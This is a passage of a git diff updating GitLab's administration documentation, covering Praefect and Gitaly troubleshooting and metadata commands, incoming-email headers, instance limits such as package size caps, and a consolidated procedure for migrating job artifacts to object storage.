+- `-replicate-immediately`, available in GitLab 14.6 and later, causes the command to replicate the repository to its secondaries immediately.
+ Otherwise, replication jobs are scheduled for execution in the database and are picked up by a Praefect background process.
+
+The command outputs:
+
+- Results to `STDOUT` and the command's logs.
+- Errors to `STDERR`.
+
+This command fails if:
+
+- The repository is already being tracked by the Praefect database.
+- The repository does not exist on disk.
diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md
index d6d93b8af94..fdd281c1a90 100644
--- a/doc/administration/gitaly/troubleshooting.md
+++ b/doc/administration/gitaly/troubleshooting.md
@@ -153,7 +153,7 @@ Confirm the following are all true:
- When any user adds or modifies a file from the repository using the GitLab
UI, it immediately fails with a red `401 Unauthorized` banner.
-- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects)
+- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#create-a-blank-project)
successfully creates the project but doesn't create the README.
- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server)
on a Gitaly client and reproducing the error, you get `401` errors
@@ -328,10 +328,94 @@ experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift).
Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time
server to keep them synchronized if possible.
+### Health check warnings
+
+The following warning in `/var/log/gitlab/praefect/current` can be ignored.
+
+```plaintext
+"error":"full method name not found: /grpc.health.v1.Health/Check",
+"msg":"error when looking up method info"
+```
+
+### File not found errors
+
+The following errors in `/var/log/gitlab/gitaly/current` can be ignored.
+They are caused by the GitLab Rails application checking for specific files
+that do not exist in a repository.
+
+```plaintext
+"error":"not found: .gitlab/route-map.yml"
+"error":"not found: Dockerfile"
+"error":"not found: .gitlab-ci.yml"
+```
+
## Troubleshoot Praefect (Gitaly Cluster)
The following sections provide possible solutions to Gitaly Cluster errors.
+### Check cluster health
+
+> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/) in GitLab 14.6.
+
+The `check` Praefect sub-command runs a series of checks to determine the health of the Gitaly Cluster.
+
+```shell
+gitlab-ctl praefect check
+```
+
+The following sections describe the checks that are run.
+
+#### Praefect migrations
+
+Because Database migrations must be up to date for Praefect to work correctly, checks if Praefect migrations are up to date.
+
+If this check fails:
+
+1. See the `schema_migrations` table in the database to see which migrations have run.
+1. Run `praefect sql-migrate` to bring the migrations up to date.
+
+#### Node connectivity and disk access
+
+Checks if Praefect can reach all of its Gitaly nodes, and if each Gitaly node has read and write access to all of its storages.
+
+If this check fails:
+
+1. Confirm the network addresses and tokens are set up correctly:
+ - In the Praefect configuration.
+ - In each Gitaly node's configuration.
+1. On the Gitaly nodes, check that the `gitaly` process being run as `git`. There might be a permissions issue that is preventing Gitaly from
+ accessing its storage directories.
+1. Confirm that there are no issues with the network that connects Praefect to Gitaly nodes.
+
+#### Database read and write access
+
+Checks if Praefect can read from and write to the database.
+
+If this check fails:
+
+1. See if the Praefect database is in recovery mode. In recovery mode, tables may be read only. To check, run:
+
+ ```sql
+ select pg_is_in_recovery()
+ ```
+
+1. Confirm that the user that Praefect uses to connect to PostgreSQL has read and write access to the database.
+1. See if the database has been placed into read-only mode. To check, run:
+
+ ```sql
+ show default_transaction_read_only
+ ```
+
+#### Inaccessible repositories
+
+Checks how many repositories are inaccessible because they are missing a primary assignment, or their primary is unavailable.
+
+If this check fails:
+
+1. See if any Gitaly nodes are down. Run `praefect ping-nodes` to check.
+1. Check if there is a high load on the Praefect database. If the Praefect database is slow to respond, it can lead health checks failing to persist
+ to the database, leading Praefect to think nodes are unhealthy.
+
### Praefect errors in logs
If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`.
@@ -353,17 +437,107 @@ Here are common errors and potential causes:
### Determine primary Gitaly node
-To determine the current primary Gitaly node for a specific Praefect node:
+To determine the primary node of a repository:
-- Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the
- [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
- This is recommended.
-- If you do not have Grafana set up, use the following command on each host of each
- Praefect node:
+- In GitLab 14.6 and later, use the [`praefect metadata`](#view-repository-metadata) subcommand.
+- In GitLab 13.12 to GitLab 14.5 with [repository-specific primaries](praefect.md#repository-specific-primary-nodes),
+ use the [`gitlab:praefect:replicas` Rake task](../raketasks/praefect.md#replica-checksums).
+- With legacy election strategies in GitLab 13.12 and earlier, the primary was the same for all repositories in a virtual storage.
+ To determine the current primary Gitaly node for a specific virtual storage:
- ```shell
- curl localhost:9652/metrics | grep gitaly_praefect_primaries`
- ```
+ - Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the
+ [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
+ This is recommended.
+ - If you do not have Grafana set up, use the following command on each host of each
+ Praefect node:
+
+ ```shell
+ curl localhost:9652/metrics | grep gitaly_praefect_primaries`
+ ```
+
+### View repository metadata
+
+> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3481) in GitLab 14.6.
+
+Gitaly Cluster maintains a [metadata database](index.md#components) about the repositories stored on the cluster. Use the `praefect metadata` subcommand
+to inspect the metadata for troubleshooting.
+
+You can retrieve a repository's metadata by its Praefect-assigned repository ID:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml metadata -repository-id <repository-id>
+```
+
+You can also retrieve a repository's metadata by its virtual storage and relative path:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml metadata -virtual-storage <virtual-storage> -relative-path <relative-path>
+```
+
+#### Examples
+
+To retrieve the metadata for a repository with a Praefect-assigned repository ID of 1:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml metadata -repository-id 1
+```
+
+To retrieve the metadata for a repository with virtual storage `default` and relative path `@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git`:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml metadata -virtual-storage default -relative-path @hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git
+```
+
+Either of these examples retrieve the following metadata for an example repository:
+
+```plaintext
+Repository ID: 54771
+Virtual Storage: "default"
+Relative Path: "@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git"
+Replica Path: "@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git"
+Primary: "gitaly-1"
+Generation: 1
+Replicas:
+- Storage: "gitaly-1"
+ Assigned: true
+ Generation: 1, fully up to date
+ Healthy: true
+ Valid Primary: true
+- Storage: "gitaly-2"
+ Assigned: true
+ Generation: 0, behind by 1 changes
+ Healthy: true
+ Valid Primary: false
+- Storage: "gitaly-3"
+ Assigned: true
+ Generation: replica not yet created
+ Healthy: false
+ Valid Primary: false
+```
+
+#### Available metadata
+
+The metadata retrieved by `praefect metadata` includes the fields in the following tables.
+
+| Field | Description |
+|:------------------|:-------------------------------------------------------------------------------------------------------------------|
+| `Repository ID` | Permanent unique ID assigned to the repository by Praefect. Different to the ID GitLab uses for repositories. |
+| `Virtual Storage` | Name of the virtual storage the repository is stored in. |
+| `Relative Path` | Repository's path in the virtual storage. |
+| `Replica Path` | Where on the Gitaly node's disk the repository's replicas are stored. |
+| `Primary` | Current primary of the repository. |
+| `Generation` | Used by Praefect to track repository changes. Each write in the repository increments the repository's generation. |
+| `Replicas` | A list of replicas that exist or are expected to exist. |
+
+For each replica, the following metadata is available:
+
+| `Replicas` Field | Description |
+|:-----------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `Storage` | Name of the Gitaly storage that contains the replica. |
+| `Assigned` | Indicates whether the replica is expected to exist in the storage. Can be `false` if a Gitaly node is removed from the cluster or if the storage contains an extra copy after the repository's replication factor was decreased. |
+| `Generation` | Latest confirmed generation of the replica. It indicates:<br><br>- The replica is fully up to date if the generation matches the repository's generation.<br>- The replica is outdated if the replica's generation is less than the repository's generation.<br>- `replica not yet created` if the replica does not yet exist at all on the storage. |
+| `Healthy` | Indicates whether the Gitaly node that is hosting this replica is considered healthy by the consensus of Praefect nodes. |
+| `Valid Primary` | Indicates whether the replica is fit to serve as the primary node. If the repository's primary is not a valid primary, a failover occurs on the next write to the repository if there is another replica that is a valid primary. A replica is a valid primary if:<br><br>- It is stored on a healthy Gitaly node.<br>- It is fully up to date.<br>- It is not targeted by a pending deletion job from decreasing replication factor.<br>- It is assigned. |
### Check that repositories are in sync
@@ -371,7 +545,7 @@ Is [some cases](index.md#known-issues) the Praefect database can get out of sync
a given repository is fully synced on all nodes, run the [`gitlab:praefect:replicas` Rake task](../raketasks/praefect.md#replica-checksums)
that checksums the repository on all Gitaly nodes.
-The [Praefect dataloss](praefect.md#check-for-data-loss) command only checks the state of the repo in the Praefect database, and cannot
+The [Praefect dataloss](recovery.md#check-for-data-loss) command only checks the state of the repo in the Praefect database, and cannot
be relied to detect sync problems in this scenario.
### Relation does not exist errors
@@ -409,3 +583,21 @@ This indicates that the virtual storage name used in the
[`git_data_dirs` setting](praefect.md#gitaly) for GitLab.
Resolve this by matching the virtual storage names used in Praefect and GitLab configuration.
+
+### Gitaly Cluster performance issues on cloud platforms
+
+Praefect does not require a lot of CPU or memory, and can run on small virtual machines.
+Cloud services may place other limits on the resources that small VMs can use, such as
+disk IO and network traffic.
+
+Praefect nodes generate a lot of network traffic. The following symptoms can be observed if their network bandwidth has
+been throttled by the cloud service:
+
+- Poor performance of Git operations.
+- High network latency.
+- High memory use by Praefect.
+
+Possible solutions:
+
+- Provision larger VMs to gain access to larger network traffic allowances.
+- Use your cloud service's monitoring and logging to check that the Praefect nodes are not exhausting their traffic allowances.
diff --git a/doc/administration/img/db_load_balancing_postgres_stats.png b/doc/administration/img/db_load_balancing_postgres_stats.png
deleted file mode 100644
index 8b311616e7b..00000000000
--- a/doc/administration/img/db_load_balancing_postgres_stats.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 6b390cfc77a..3f54f5dd576 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -10,7 +10,7 @@ GitLab has several features based on receiving incoming email messages:
- [Reply by Email](reply_by_email.md): allow GitLab users to comment on issues
and merge requests by replying to notification email.
-- [New issue by email](../user/project/issues/managing_issues.md#new-issue-via-email):
+- [New issue by email](../user/project/issues/managing_issues.md#by-sending-an-email):
allow GitLab users to create a new issue by sending an email to a
user-specific email address.
- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#by-sending-an-email):
@@ -66,6 +66,24 @@ This solution is relatively simple to set up: you just need to create an email
address dedicated to receive your users' replies to GitLab notifications. However,
this method only supports replies, and not the other features of [incoming email](#incoming-email).
+## Accepted headers
+
+Email is processed correctly when a configured email address is present in one of the following headers:
+
+- `To`
+- `Delivered-To`
+- `Envelope-To` or `X-Envelope-To`
+
+In GitLab 14.6 and later, [Service Desk](../user/project/service_desk.md)
+also checks these additional headers.
+
+Usually, the "To" field contains the email address of the primary receiver.
+However, it might not include the configured GitLab email address if:
+
+- The address is in the "CC" field.
+- The address was included when using "Reply all".
+- The email was forwarded.
+
## Set it up
If you want to use Gmail / Google Apps for incoming email, make sure you have
diff --git a/doc/administration/index.md b/doc/administration/index.md
index 53a3c305aab..d78c9d80b5f 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -31,8 +31,6 @@ Learn how to install, configure, update, and maintain your GitLab instance.
### Installing GitLab
- [Install](../install/index.md): Requirements, directory structures, and installation methods.
- - [Database load balancing](database_load_balancing.md): Distribute database queries among multiple database servers.
- - [Omnibus support for log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-shipping-gitlab-enterprise-edition-only).
- [Reference architectures](reference_architectures/index.md): Add additional resources to support more users.
- [Installing GitLab on Amazon Web Services (AWS)](../install/aws/index.md): Set up GitLab on Amazon AWS.
- [Geo](geo/index.md): Replicate your GitLab instance to other geographic locations as a read-only fully operational version.
@@ -79,6 +77,8 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Enabling and disabling features flags](feature_flags.md): how to enable and
disable GitLab features deployed behind feature flags.
- [Application settings cache expiry interval](application_settings_cache.md)
+- [Database Load Balancing](postgresql/database_load_balancing.md): Distribute database queries among multiple database servers.
+- [Omnibus support for log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-shipping-gitlab-enterprise-edition-only).
#### Customizing GitLab appearance
@@ -133,7 +133,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- Instances.
- [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance.
- [Incoming email](incoming_email.md): Configure incoming emails to allow
- users to [reply by email](reply_by_email.md), create [issues by email](../user/project/issues/managing_issues.md#new-issue-via-email) and
+ users to [reply by email](reply_by_email.md), create [issues by email](../user/project/issues/managing_issues.md#by-sending-an-email) and
[merge requests by email](../user/project/merge_requests/creating_merge_requests.md#by-sending-an-email), and to enable [Service Desk](../user/project/service_desk.md).
- [Postfix for incoming email](reply_by_email_postfix_setup.md): Set up a
basic Postfix mail server with IMAP authentication on Ubuntu for incoming
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index 0b470146b14..bfe59d5277b 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -88,12 +88,8 @@ requests per user. For more information, read
### Files API
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68561) in GitLab 14.3.
-
-FLAG:
-On self-managed GitLab, by default this feature is not available. To make it available,
-ask an administrator to [enable the `files_api_throttling` flag](../administration/feature_flags.md). On GitLab.com, this feature is available but can be configured by GitLab.com administrators only.
-The feature is not ready for production use.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68561) in GitLab 14.3 [with a flag](../administration/feature_flags.md) named `files_api_throttling`. Disabled by default.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75918) in GitLab 14.6. [Feature flag `files_api_throttling`](https://gitlab.com/gitlab-org/gitlab/-/issues/338903) removed.
This setting limits the request rate on the Packages API per user or IP address. For more information, read
[Files API rate limits](../user/admin_area/settings/files_api_rate_limits.md).
@@ -257,7 +253,7 @@ Set the limit to `0` to disable it.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/237891) in GitLab 13.7.
The [minimum wait time between pull refreshes](../user/project/repository/mirror/index.md)
-defaults to 300 seconds (5 minutes). For example, by default a pull refresh will only run once in a given 300 second period regardless of how many times you try to trigger it.
+defaults to 300 seconds (5 minutes). For example, a pull refresh only runs once in a given 300 second period, regardless of how many times you trigger it.
This setting applies in the context of pull refreshes invoked via the [projects API](../api/projects.md#start-the-pull-mirroring-process-for-a-project), or when forcing an update by selecting the **Update now** (**{retry}**) button within **Settings > Repository > Mirroring repositories**. This setting has no effect on the automatic 30 minute interval schedule used by Sidekiq for [pull mirroring](../user/project/repository/mirror/pull.md).
@@ -400,7 +396,7 @@ limit is checked every time a new trigger is created.
If a new trigger would cause the total number of pipeline triggers to exceed the
limit, the trigger is considered invalid.
-Set the limit to `0` to disable it. Defaults to `0` on self-managed instances.
+Set the limit to `0` to disable it. Defaults to `150` on self-managed instances.
To set this limit to `100` on a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -551,8 +547,8 @@ Plan.default.actual_limits.update!(pages_file_entries: 100)
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321368) in GitLab 13.12. Disabled by default.
> - Enabled on GitLab.com in GitLab 14.3.
> - Enabled on self-managed in GitLab 14.4.
-> - Feature flag `ci_runner_limits` removed in GitLab 14.4. You can still use `ci_runner_limits_override`
- to remove limits for a given scope.
+> - Feature flag `ci_runner_limits` removed in GitLab 14.4.
+> - Feature flag `ci_runner_limits_override` removed in GitLab 14.6.
The total number of registered runners is limited at the group and project levels. Each time a new runner is registered,
GitLab checks these limits against runners that have been active in the last 3 months.
@@ -739,7 +735,7 @@ See [Environment Dashboard](../ci/environments/environments_dashboard.md#adding-
[Deploy boards](../user/project/deploy_boards.md) load information from Kubernetes about
Pods and Deployments. However, data over 10 MB for a certain environment read from
-Kubernetes won't be shown.
+Kubernetes aren't shown.
## Merge requests
@@ -762,7 +758,7 @@ prevent any more changes from rendering. For more information about these limits
### Merge request reports size limit
-Reports that go over the 20 MB limit won't be loaded. Affected reports:
+Reports that go over the 20 MB limit aren't loaded. Affected reports:
- [Merge request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports)
- [CI/CD parameter `artifacts:expose_as`](../ci/yaml/index.md#artifactsexpose_as)
@@ -826,7 +822,7 @@ See the [Design Management Limitations](../user/project/issues/design_management
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31009) in GitLab 12.4.
Total number of changes (branches or tags) in a single push. If changes are more
-than the specified limit, hooks won't be executed.
+than the specified limit, hooks are not executed.
More information can be found in these docs:
@@ -848,16 +844,21 @@ More information can be found in the [Push event activities limit and bulk push
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218017) in GitLab 13.4.
-On GitLab.com, the maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md) varies by format:
+The default maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md) varies by format:
-- Conan: 5 GB
+- Conan: 3 GB
- Generic: 5 GB
-- Maven: 5 GB
-- npm: 5 GB
-- NuGet: 5 GB
-- PyPI: 5 GB
+- Helm: 5 MB
+- Maven: 3 GB
+- npm: 500 MB
+- NuGet: 500 MB
+- PyPI: 3 GB
+- Terraform: 1 GB
-To set this limit for a self-managed installation, run the following in the
+The [maximum file sizes on GitLab.com](../user/gitlab_com/index.md#package-registry-limits)
+might be different.
+
+To set these limits for a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
```ruby
@@ -881,6 +882,9 @@ Plan.default.actual_limits.update!(pypi_max_file_size: 100.megabytes)
# For Debian Packages
Plan.default.actual_limits.update!(debian_max_file_size: 100.megabytes)
+# For Helm Charts
+Plan.default.actual_limits.update!(helm_max_file_size: 100.megabytes)
+
# For Generic Packages
Plan.default.actual_limits.update!(generic_packages_max_file_size: 100.megabytes)
```
diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md
index 62897651166..872cdb239bd 100644
--- a/doc/administration/instance_review.md
+++ b/doc/administration/instance_review.md
@@ -12,7 +12,7 @@ If you run a medium-sized self-managed instance (50+ users) of a free version of
[either Community Edition or unlicensed Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/),
you qualify for a free Instance Review.
-1. Sign in as a user with Administrator [role](../user/permissions.md).
+1. Sign in as an administrator.
1. In the top menu, click your user icon, and select
**Get a free instance review**:
diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md
index 07b9ba87d8e..f570c9b559f 100644
--- a/doc/administration/integration/terminal.md
+++ b/doc/administration/integration/terminal.md
@@ -17,7 +17,7 @@ GitLab uses these credentials to provide access to
[web terminals](../../ci/environments/index.md#web-terminals-deprecated) for environments.
NOTE:
-Only project maintainers and owners can access web terminals.
+Only users with at least the [Maintainer role](../../user/permissions.md) for the project access web terminals.
## How it works
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index 46a9ee11679..64b5ddbd165 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -2,20 +2,18 @@
stage: Verify
group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference, howto
---
# Jobs artifacts administration **(FREE SELF)**
This is the administration documentation. For the user guide see [pipelines/job_artifacts](../ci/pipelines/job_artifacts.md).
-Artifacts is a list of files and directories which are attached to a job after it
-finishes. This feature is enabled by default in all GitLab installations. Keep reading
-if you want to know how to disable it.
+An artifact is a list of files and directories attached to a job after it
+finishes. This feature is enabled by default in all GitLab installations.
## Disabling job artifacts
-To disable artifacts site-wide, follow the steps below.
+To disable artifacts site-wide:
**In Omnibus installations:**
@@ -41,7 +39,7 @@ To disable artifacts site-wide, follow the steps below.
## Storing job artifacts
GitLab Runner can upload an archive containing the job artifacts to GitLab. By default,
-this is done when the job succeeds, but can also be done on failure, or always, via the
+this is done when the job succeeds, but can also be done on failure, or always, with the
[`artifacts:when`](../ci/yaml/index.md#artifactswhen) parameter.
Most artifacts are compressed by GitLab Runner before being sent to the coordinator. The exception to this is
@@ -84,8 +82,6 @@ _The artifacts are stored by default in
### Using object storage
-> Introduced in GitLab 11.0: Support for `direct_upload` to S3.
-
If you don't want to use the local disk where GitLab is installed to store the
artifacts, you can use an object storage like AWS S3 instead.
This configuration relies on valid AWS credentials to be configured already.
@@ -108,7 +104,9 @@ In GitLab 13.2 and later, we recommend using the
[consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration).
This section describes the earlier configuration format.
-For source installations the following settings are nested under `artifacts:` and then `object_store:`. On Omnibus GitLab installs they are prefixed by `artifacts_object_store_`.
+For source installations the following settings are nested under `artifacts:`
+and then `object_store:`. On Omnibus GitLab installs they are prefixed by
+`artifacts_object_store_`.
| Setting | Default | Description |
|---------------------|---------|-------------|
@@ -143,8 +141,9 @@ _The artifacts are stored by default in
}
```
- NOTE: For GitLab 9.4+, if you're using AWS IAM profiles, be sure to omit the
- AWS access key and secret access key/value pairs. For example:
+ NOTE:
+ If you're using AWS IAM profiles, omit the AWS access key and secret access
+ key/value pairs. For example:
```ruby
gitlab_rails['artifacts_object_store_connection'] = {
@@ -155,37 +154,7 @@ _The artifacts are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local artifacts to the object storage:
-
- ```shell
- gitlab-rake gitlab:artifacts:migrate
- ```
-
-1. Optional: Verify all files migrated properly.
- From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
- (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp/cache | wc -l
- ```
-
- In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
- to clean up orphaned artifacts.
-
-WARNING:
-JUnit test report artifact (`junit.xml.gz`) migration
-[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
-by the `gitlab:artifacts:migrate` script.
+1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
**In installations from source:**
@@ -209,36 +178,7 @@ _The artifacts are stored by default in
```
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. Migrate any existing local artifacts to the object storage:
-
- ```shell
- sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production
- ```
-
-1. Optional: Verify all files migrated properly.
- From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp/cache | wc -l
- ```
-
- In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
- to clean up orphaned artifacts.
-
-WARNING:
-JUnit test report artifact (`junit.xml.gz`) migration
-[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
-by the `gitlab:artifacts:migrate` script.
+1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
### OpenStack example
@@ -268,11 +208,7 @@ _The uploads are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local artifacts to the object storage:
-
- ```shell
- gitlab-rake gitlab:artifacts:migrate
- ```
+1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
---
@@ -303,11 +239,55 @@ _The uploads are stored by default in
```
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. Migrate any existing local artifacts to the object storage:
+1. [Migrate any existing local artifacts to the object storage](#migrating-to-object-storage).
- ```shell
- sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production
- ```
+### Migrating to object storage
+
+After [configuring the object storage](#using-object-storage), use the following task to
+migrate existing job artifacts from the local storage to the remote storage.
+The processing is done in a background worker and requires **no downtime**.
+
+**In Omnibus installations:**
+
+```shell
+gitlab-rake gitlab:artifacts:migrate
+```
+
+**In installations from source:**
+
+```shell
+sudo -u git -H bundle exec rake gitlab:artifacts:migrate RAILS_ENV=production
+```
+
+You can optionally track progress and verify that all job artifacts migrated successfully using the
+[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+
+- `sudo gitlab-rails dbconsole` for Omnibus GitLab instances.
+- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+
+Verify `objectstg` below (where `store=2`) has count of all job artifacts:
+
+```shell
+gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM ci_job_artifacts;
+
+total | filesystem | objectstg
+------+------------+-----------
+ 19 | 0 | 19
+```
+
+Verify that there are no files on disk in the `artifacts` folder:
+
+```shell
+sudo find /var/opt/gitlab/gitlab-rails/shared/artifacts -type f | grep -v tmp | wc -l
+```
+
+In some cases, you need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
+to clean up orphaned artifacts.
+
+WARNING:
+JUnit test report artifact (`junit.xml.gz`) migration
+[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
+by the `gitlab:artifacts:migrate` Rake task.
### Migrating from object storage to local storage
@@ -503,13 +483,13 @@ If you need to manually remove job artifacts associated with multiple jobs while
- `3.months.ago`
- `1.year.ago`
- `erase_erasable_artifacts!` is a synchronous method, and upon execution, the artifacts are removed immediately.
- They are not scheduled via some background queue.
+ `erase_erasable_artifacts!` is a synchronous method, and upon execution the artifacts are immediately removed;
+ they are not scheduled by a background queue.
#### Delete job artifacts and logs from jobs completed before a specific date
WARNING:
-These commands remove data permanently from the database and from disk. We
+These commands remove data permanently from both the database and from disk. We
highly recommend running them only under the guidance of a Support Engineer, or
running them in a test environment with a backup of the instance ready to be
restored, just in case.
@@ -517,7 +497,7 @@ restored, just in case.
If you need to manually remove **all** job artifacts associated with multiple jobs,
**including job logs**, this can be done from the Rails console (`sudo gitlab-rails console`):
-1. Select jobs to be deleted:
+1. Select the jobs to be deleted:
To select jobs with artifacts for a single project:
@@ -538,7 +518,7 @@ If you need to manually remove **all** job artifacts associated with multiple jo
admin_user = User.find_by(username: 'username')
```
-1. Erase job artifacts and logs older than a specific date:
+1. Erase the job artifacts and logs older than a specific date:
```ruby
builds_to_clear = builds_with_artifacts.where("finished_at < ?", 1.week.ago)
@@ -563,34 +543,34 @@ If you need to manually remove **all** job artifacts associated with multiple jo
### Error `Downloading artifacts from coordinator... not found`
-When a job tries to download artifacts from an earlier job, you might receive an error similar to:
+When a job attempts to download artifacts from an earlier job, you might receive an error message similar to:
```plaintext
Downloading artifacts from coordinator... not found id=12345678 responseStatus=404 Not Found
```
-This might be caused by a `gitlab.rb` file with the following configuration:
+This can be caused by a `gitlab.rb` file with the following configuration:
```ruby
gitlab_rails['artifacts_object_store_background_upload'] = false
gitlab_rails['artifacts_object_store_direct_upload'] = true
```
-To prevent this, comment out or remove those lines, or switch to their [default values](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template),
+To prevent this, comment out or remove those lines, or switch to their [default values](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template), and
then run `sudo gitlab-ctl reconfigure`.
### Job artifact upload fails with error 500
If you are using object storage for artifacts and a job artifact fails to upload,
-you can check:
+review:
-- The job log for an error similar to:
+- The job log for an error message similar to:
```plaintext
WARNING: Uploading artifacts as "archive" to coordinator... failed id=12345 responseStatus=500 Internal Server Error status=500 token=abcd1234
```
-- The [workhorse log](logs.md#workhorse-logs) for an error similar to:
+- The [workhorse log](logs.md#workhorse-logs) for an error message similar to:
```json
